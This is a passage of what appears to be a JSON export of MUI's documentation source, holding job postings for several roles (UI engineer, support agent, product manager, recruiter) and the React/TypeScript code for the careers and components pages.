    "content": "# Staff UI Engineer — Base UI\n\n<p class=\"description\">Research, build, document, and ship high-quality, unstyled UI components with a focus on a11y.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC5 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe Base UI team is just starting to take shape now, and we have big goals for the next few years. We need experienced people to work alongside excellent UI engineers and designers, in an IC capacity, to research, spec, build, document, and ship high-quality, unstyled UI components with a focus on a11y.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month. We're planning to invest heavily in Base UI this year and into the future. Our goal is to make Base UI one the best unstyled UI libs available, and in the process, help millions of developers build more accessible products.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Build UI components with React and TypeScript.\n- Perform code reviews and help to maintain a high bar for code quality.\n- Test Base UI components on various devices, browsers, platforms, and screen readers.\n- Research a11y requirements for UI components.\n- Contribute to component API design decisions and architecture.\n- Contribute to Base UI documentation.\n- Help out with community support on GitHub.\n\n## Who we're looking for\n\n### Required\n\n- **Expertise with the modern JavaScript ecosystem**. Base UI is built on modern front-end technologies like TypeScript, Node.js, React, Next.js, webpack, and Babel. Working knowledge of these technologies is critical.\n- **Expertise with CSS.** Deep knowledge of the functional aspects of CSS will be required.\n- **Familiarity with a11y requirements.** We are looking for someone familiar with ARIA requirements, who cares about building accessible UI, and wants to make the web a more accessible place.\n- **An eye for detail.** We appreciate people who sweat the details. People who go above and beyond to make interfaces fast, accessible, beautiful, and delightful.\n- **Experience shipping production code in a team setting.** We are looking for someone with multiple years of experience working on production code.\n- **Strong written and verbal communication skills**. As part of the team, you'll communicate both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is important in creating intuitive and compelling resources.\n\n### Nice to have (but not required)\n\n- **Experience working remotely.** Experience is not necessarily mandatory, but remote work can be a different challenge sometimes, so some experience would be helpful.\n- **Experience working with design systems**. We are not looking for visual designers, but familiarity with the needs of design system maintainers would be helpful.\n- **Experience contributing to OSS**. MUI is all about open-source software, so OSS experience would be awesome.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/3094f65a-0144-4bd2-ba5b-6b9c61040858/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/support-agent.md",
    "content": "# Customer Support Agent\n\n<p class=\"description\">You will help MUI provide timely and efficient support to our customers and continue to streamline our customer operations across the board.</p>\n\n## Details of the role\n\n- **Location**: Remote (working hours are UTC 15:00 to UTC 23:00).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- We're a **remote** company, operating mostly asynchronously.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nOne of MUI's company values is to [#putcommunityfirst](https://mui-org.notion.site/Values-behaviors-d3a1e1c60e2a4c0782f770cceada54bd?pvs=4#63393bde7da14f0698de0653f07a8dc7), and that includes high-quality and timely responses to customer support requests. While technical support for bugs and features is provided by our product and engineering teams, all sales and product inquiries are currently handled by a small team of two support and operations agents. We're looking to add a support-focused agent to this stellar team, to ensure our resources and bandwidth continue to match our customer needs.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nThis is an opportunity to work fully remotely with an agile, industry-leading company.\nWe offer a dynamic work environment that is best suited to independent learners who are eager to proactively dig into customer requests and who enjoy problem-solving independently.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\nAs a customer support agent, you will focus on delivering consistent, high-quality support to our customers, providing product information, sales quotes, and filling out compliance requests with the support of our Head of Operations.\nThis could include handling requests that are not yet documented in our existing knowledge base and working with the team to create clear guidelines around common support requests and agreed-upon responses.\nWhile this is not a technical role, having a basic understanding of what a UI library is and how they work will be fundamental.\n\nTaking initiative, actively documenting, and being comfortable with new challenges are the main keys to success in the role.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Manage our queue of customer support tickets and execute associated tasks for resolution, including but not limited to processing refunds, deleting user accounts, processing quote requests, and answering FAQs\n- Contribute to our support request types and macros database, making sure it's detailed, clear, and up-to-date\n- Maintain our ticket database for analytics and historical reference by leveraging tags, internal comments, and creating canned responses where appropriate\n- Suggest and implement workflow improvements, including automation and helpful reports to stay on top of ticket volume\n- Moderate our store reviews and escalate important feedback to the relevant parties (internal or store contributors)\n- Respond to Paypal & Stripe disputes\n- Actively follow up on critical customer communications, such as overdue invoices\n- Collaborate with a Customer Success Engineer and a Product Engineer for our Store to find new solutions to recurring customer pain points (updating legal documents for clarity, creating new internal apps for frequent use cases, adding feature requests to GitHub)\n- Stay up to date on any major releases or changes to our product offerings by attending monthly company meetings and incorporating any changes to our [legal pages](https://mui.com/legal/) in your work\n- Create Notion pages to suggest opportunities to improve the quality and efficiency of our customer service operation overall\n\n## Who we're looking for\n\n### Required\n\n- **Independent learning skills:** we operate mainly on documentation training and feedback, so having someone who can learn by reading through Notion pages, previous tickets, and written instructions and then responding to async feedback is key.\n- **Excellent communication skills:** the bulk of the work will be interpreting and responding to customer inquiries, so clear writing skills are invaluable.\n- **Patience and curiosity:** support requests can be tedious and confusing sometimes! We need someone who knows how to follow up for clarification, and who is committed to resolving requests with kindness and knowledgeability.\n- **Organized thinking:** responding to tickets requires an ability to interpret an incoming ticket based on existing or new patterns (agreement terms, support types, product promises, etc) and to match requests with the appropriate responses (from macros, previous tickets, or templates).\n- **Self-management:** as a remote and async company, we firmly avoid micromanaging practices, relying on everyone to leverage their own strategies for productivity and focusing on output, not process.\n- **Organized documenter:** we thrive when using thorough documentation and categorization, meaning tickets are labeled, patterns become templates, and ideas for automation/improvement become entries in our project database.\n- **Comfortable around technical language:** engineering skills are absolutely not required, however, you will need some basic literacy around web development and digital product work (downloads, installs, upgrades, updates, bugs, etc).\n\n### Nice to have (but not required)\n\nExperience (1+ years) providing customer support for similar companies (developer tools, IT tools, digital products) will be considered a bonus.\n\n## Benefits and compensation\n\n**Compensation bands:** 20-30k USD, or equivalent in local currency, per year.\nYou can find our perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/79a9b5ec-6fb3-41ec-b48b-0a792ced7c19/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/technical-product-manager.md",
    "content": "# Technical Product Manager\n\n<p class=\"description\">You will define and maintain the product roadmap for the advanced components, identify opportunities, define specs, and work with engineers to execute on the features. Experience as an engineer is essential for this role, as you will also contribute to development work in the beginning.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe advanced components team (X) needs help to build its best features.\nWe have started with the [data grid](https://mui.com/x/react-data-grid/) a year ago, but it's the beginning.\nOur users are continuously providing feedback on the most important [pains they face](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc).\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nOur enterprise components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- You will coordinate with the engineering to ensure that the product being delivered at each iteration solves the problem.\n  This involves growing a deep understanding of our technical choices and constraints.\n- If time allows you to, you will assist the engineering team and implement some of the items in the backlog, up to part-time.\n- You will drive the revenue and community growth by owning KPIs.\n- You will grow and cultivate a deep understanding of the problems that developers have when they deal with enterprise applications. This means that you will observe and reach out to the community, run research interviews and share your insights with the team.\n- You will keep a close eye on feature requests, issues, and general improvements (mostly through GitHub issues and occasionally Zendesk), to curate opportunities based on our strategy.\n- You will build a strategy for your product area and contribute to the overall product strategy, for example establishing a go-to-market strategy.\n- You will assess the impact of initiatives through telemetry data and qualitative feedback to help us develop our understanding further, and decide on the next steps.\n\n## Who we're looking for\n\n### Required\n\n- 3+ years prior experience working as a Front-end engineer, with React ideally.\n- 1+ years experience as Product Manager or closely related roles such as Product Owner, Program Manager, or Solutions Architect.\n- Able to switch between the big picture and detailed view multiple times a day.\n\n### Nice to have (but not required)\n\n- Experience building developer tools.\n- Experience working with open-source and having interacted with open-source communities.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/technical-recruiter.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/technical-recruiter.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/technical-recruiter.md",
    "content": "# Technical Recruiter\n\n<p class=\"description\">MUI is hiring an experienced Tech Recruiter to join our People team and help scale by hiring top engineering and product talent.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1)..\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## You should apply if\n\n- You are **ready to own the full recruitment cycle**.\n- You have **5-8 years** of recruiting experience, with a strong background in technical R&D hiring.\n- You are excited by the challenge of finding and attracting the right technical talent and **solving the problem**.\n- You have **strong sourcing skills**; you regularly use platforms like LinkedIn Recruiter, GitHub, Boolean search, and other industry-specific tools.\n- You're comfortable assessing the complexity and impact of a candidate's work — not just what they built, but how and why it mattered.\n- You routinely collaborate with senior stakeholders, including top-level leadership and founders.\n- You are ensuring fairness in hiring practices.\n- You're **data-informed**, comfortable using data to understand what's working and suggest improvements.\n- You value **autonomy** and are keen to self-manage.\n- You are excited by the prospect of owning employer branding and diversity and inclusion initiatives.\n- You're familiar with the open-source community or developer tools space.\n\n## You should not apply if\n\n- You prefer a highly structured environment where processes are already fully defined; we're building as we grow.\n- You avoid getting into the \"weeds\" of solving technical problems; you'll be hiring for complex R&D positions.\n- You prefer a traditional in-office setting; this role is fully remote within a largely asynchronous culture.\n- You're **not interested in contributing beyond core recruitment tasks**; we encourage broad impact and provide opportunities for you to define your responsibilities even outside of recruitment.\n\n## About MUI\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design. Today, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## About the People & Talent team\n\nMUI is experiencing rapid growth across both our open-source community and our premium product offerings. To sustain this momentum and meet the demands of our dynamic community, we need to expand our talented team. Our People & Talent team currently counts 1 person who is taking care of both HR and talent needs. We need someone who will directly contribute to and own recruitment initiatives, as well as expand their knowledge and contribute to broader People-related topics. You will lead the recruitment effort with the help of our Talent and Culture Partner, acting as a strategic thought partner to our hiring managers and contributing to the overall growth of our organization.\n\n## The culture at MUI\n\nMUI is a fully remote company with a team that spans the globe. The majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public. Each contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Interview Process\n\nOur interview process is thorough – we aim to ensure each person that joins the team is the right fit for MUI and will provide ample information for you to assess if MUI is the right fit for you. The process for this role typically follows these stages:\n\n- **Intro Call with Talent & Culture**\n- **Sourcing challenge / Take Home Assessment**\n- **Team Interview**\n- **References**\n- **Cultural fit interview**\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/0738df5d-6827-45d4-a480-a8b04b7e01bf/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\nimport Stack from '@mui/material/Stack';\nimport Badge from '@mui/material/Badge';\nimport Typography from '@mui/material/Typography';\nimport { Link } from '@mui/docs/Link';\nimport OurValues from 'docs/src/components/about/OurValues';\nimport PerksBenefits from 'docs/src/components/careers/PerksBenefits';\nimport CareersFaq from 'docs/src/components/careers/CareersFaq';\nimport RoleEntry from 'docs/src/components/careers/RoleEntry';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nconst openRolesData = [\n  {\n    title: 'Engineering',\n    roles: [\n      // {\n      //   title: 'React Engineer — Material UI Maintainer',\n      //   description:\n      //     'You will provide guidance to the community and solve their struggle, working on one of the most popular React UI library.',\n      //   url: '/careers/react-engineer-material-ui-maintainer/',\n      // },\n      // {\n      //   title: 'Product Engineer — Store',\n      //   description:\n      //     'You will lead the technical, product, and operational development of the store.',\n      //   url: '/careers/product-engineer-store/',\n      // },\n      // {\n      //   title: 'React Engineer — xCharts',\n      //   description:\n      //     'You will help form the xCharts team, build ambitious and complex new features, work on strategic problems, and help grow adoption.',\n      //   url: '/careers/react-engineer-x-charts/',\n      // },\n      // {\n      //   title: 'React Engineer — eXplore',\n      //   description:\n      //     'You will help eXplore, the team behind the Pickers and Tree View components, build the most comprehensive UI library the world has ever seen.',\n      //   url: '/careers/react-engineer-explore/',\n      // },\n      // {\n      //   title: 'React Engineer — X',\n      //   description:\n      //     'You will strengthen the MUI X product, build ambitious and complex new features, work on strategic problems, and help grow adoption.',\n      //   url: '/careers/react-engineer-x/',\n      // },\n    ],\n  },\n  {\n    title: 'Sales',\n    roles: [\n      {\n        title: 'Account Executive',\n        description:\n          'You will be a key player in driving revenue growth and building strong customer relationships.',\n        url: '/careers/account-executive/',\n      },\n      // {\n      //   title: 'Account Manager',\n      //   description:\n      //     'You will be working with our customers to ensure the successful renewal and retention of existing client contracts.',\n      //   url: '/careers/account-manager/',\n      // },\n    ],\n  },\n  {\n    title: 'People',\n    roles: [\n      // {\n      //   title: 'Technical Recruiter',\n      //   description: 'MUI is looking for an experienced Tech Recruiter to join our People team.',\n      //   url: '/careers/technical-recruiter/',\n      // },\n    ],\n  },\n  {\n    title: 'Design',\n    roles: [],\n  },\n  {\n    title: 'Developer Experience',\n    roles: [],\n  },\n];\n\nconst nextRolesData = [\n  {\n    title: 'Engineering',\n    roles: [\n      // {\n      //   title: 'React Community Engineer — X',\n      //   description:\n      //     'You will provide guidance to the community and solve their struggle, working primarily in the advanced components team.',\n      //   url: '/careers/react-community-engineer/',\n      // },\n    ],\n  },\n  {\n    title: 'Sales',\n    roles: [],\n  },\n  {\n    title: 'People',\n    roles: [],\n  },\n  {\n    title: 'Marketing',\n    roles: [],\n  },\n] as typeof openRolesData;\n\nexport default function Careers() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Careers - MUI\"\n        description=\"Interested in joining MUI? Learn about the roles we're hiring for.\"\n        card=\"/static/social-previews/careers-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <Section cozy bg=\"gradient\">\n          <SectionHeadline\n            alwaysCenter\n            overline=\"Join us\"\n            title={\n              <Typography variant=\"h2\" component=\"h1\">\n                Build <GradientText>the next generation</GradientText>\n                <br /> of tools for UI development\n              </Typography>\n            }\n            description=\"We give developers and designers the tools to bring stunning user interfaces to life with unrivaled speed and ease.\"\n          />\n        </Section>\n        <Divider />\n        <OurValues />\n        <Divider />\n        <PerksBenefits />\n        <Divider />\n        {/* Open roles */}\n        <Section cozy>\n          <SectionHeadline\n            title={\n              <Typography variant=\"h2\" id=\"open-roles\" gutterBottom>\n                Open roles\n                <Badge\n                  badgeContent={openRolesData.reduce((acc, item) => acc + item.roles.length, 0)}\n                  color=\"success\"\n                  showZero\n                  sx={{ ml: 3, '& .MuiBadge-badge': { fontWeight: 'bold' } }}\n                />\n              </Typography>\n            }\n            description=\"We are actively hiring for the following roles:\"\n          />\n          <Divider sx={{ borderStyle: 'dashed', my: { xs: 2, sm: 6 } }} />\n          <Stack spacing={2} divider={<Divider />}>\n            {openRolesData\n              .filter((category) => category.roles.length > 0)\n              .map((category) => {\n                return (\n                  <React.Fragment key={category.title}>\n                    <Typography component=\"h3\" variant=\"h5\" sx={{ fontWeight: 'semiBold' }}>\n                      {category.title}\n                    </Typography>\n                    {category.roles.map((role) => (\n                      <RoleEntry\n                        key={role.title}\n                        title={role.title}\n                        description={role.description}\n                        url={role.url}\n                      />\n                    ))}\n                  </React.Fragment>\n                );\n              })}\n          </Stack>\n        </Section>\n        <Divider />\n        {/* Next roles */}\n        {nextRolesData.length > 0 && (\n          <Box data-mui-color-scheme=\"dark\" sx={{ bgcolor: 'common.black' }}>\n            <Section bg=\"transparent\" cozy>\n              <SectionHeadline\n                title={\n                  <Typography variant=\"h2\" id=\"next-roles\" gutterBottom>\n                    Next roles\n                  </Typography>\n                }\n                description={\n                  <React.Fragment>\n                    We&apos;re not actively hiring for these roles yet, but you&apos;re welcome to\n                    apply for future consideration. If none of these roles match your profile, you\n                    can apply to{' '}\n                    <Link href=\"https://jobs.ashbyhq.com/MUI/4715d81f-d00f-42d4-a0d0-221f40f73e19/application?utm_source=ZNRrPGBkqO\">\n                      the dream job\n                    </Link>{' '}\n                    and tell us more about what you bring to the table.\n                  </React.Fragment>\n                }\n              />\n              <Divider sx={{ borderStyle: 'dashed', my: { xs: 2, sm: 6 } }} />\n              <Stack spacing={2} divider={<Divider />}>\n                {nextRolesData\n                  .filter((category) => category.roles.length > 0)\n                  .map((category) => {\n                    return (\n                      <React.Fragment key={category.title}>\n                        <Typography component=\"h3\" variant=\"h5\" sx={{ fontWeight: 'extraBold' }}>\n                          {category.title}\n                        </Typography>\n                        {category.roles.map((role) => (\n                          <RoleEntry\n                            key={role.title}\n                            title={role.title}\n                            description={role.description}\n                            url={role.url}\n                          />\n                        ))}\n                      </React.Fragment>\n                    );\n                  })}\n              </Stack>\n            </Section>\n          </Box>\n        )}\n        <Divider />\n        <CareersFaq />\n      </main>\n      <Divider />\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/company/contact.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/src/pages/company/contact/contact.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/components.tsx",
    "content": "import Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport Section from 'docs/src/layouts/Section';\nimport { pageToTitleI18n } from '@mui/docs/helpers';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { Link } from '@mui/docs/Link';\nimport type { MuiPage } from '@mui/docs/MuiPage';\nimport materialPages from 'docs/data/material/pages';\n\nexport default function Components() {\n  const t = useTranslate();\n  const pages = materialPages;\n  const componentPageData = pages.find(({ title }) => title === 'Components');\n  function renderItem(aPage: MuiPage) {\n    return (\n      <ListItem key={aPage.pathname} disablePadding>\n        <ListItemButton\n          component={Link}\n          noLinkStyle\n          href={aPage.pathname}\n          sx={{\n            px: 1,\n            py: 0.5,\n            fontSize: '0.84375rem',\n            fontWeight: 500,\n            '&:hover, &:focus': { '& svg': { opacity: 1 } },\n          }}\n        >\n          {pageToTitleI18n(aPage, t) || ''}\n          <KeyboardArrowRightRounded\n            sx={{ ml: 'auto', fontSize: '1.125rem', opacity: 0, color: 'primary.main' }}\n          />\n        </ListItemButton>\n      </ListItem>\n    );\n  }\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Components - MUI\"\n        description=\"MUI provides a simple, customizable, and accessible library of React components. Follow your own design system, or start with Material Design. You will develop React applications faster.\"\n      />\n      <AppHeader />\n      <main id=\"main-content\">\n        <Section bg=\"gradient\" sx={{ py: { xs: 2, sm: 4 } }}>\n          <Typography component=\"h1\" variant=\"h2\" sx={{ mb: 4, pl: 1 }}>\n            All Components\n          </Typography>\n          <Box\n            sx={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fill, minmax(200px, 1fr))' }}\n          >\n            {(componentPageData?.children || []).map((page) => (\n              <Box key={page.pathname} sx={{ pb: 2 }}>\n                <Typography\n                  component=\"h2\"\n                  variant=\"body2\"\n                  sx={{ fontWeight: 500, color: 'grey.600', px: 1 }}\n                >\n                  {pageToTitleI18n(page, t)}\n                </Typography>\n                <List>\n                  {(page.children || []).map((nestedPage) => {\n                    if (nestedPage.children) {\n                      return (\n                        <ListItem key={nestedPage.pathname} sx={{ py: 0, px: 1 }}>\n                          <Box sx={{ width: '100%', pt: 1 }}>\n                            <Typography\n                              component=\"div\"\n                              variant=\"body2\"\n                              sx={{ fontWeight: 500, color: 'grey.600' }}\n                            >\n                              {pageToTitleI18n(nestedPage, t) || ''}\n                            </Typography>\n                            <List>{nestedPage.children.map(renderItem)}</List>\n                          </Box>\n                        </ListItem>\n                      );\n                    }\n                    return renderItem(nestedPage);\n                  })}\n                </List>\n              </Box>\n            ))}\n          </Box>\n        </Section>\n      </main>\n      <Divider />\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/core.tsx",
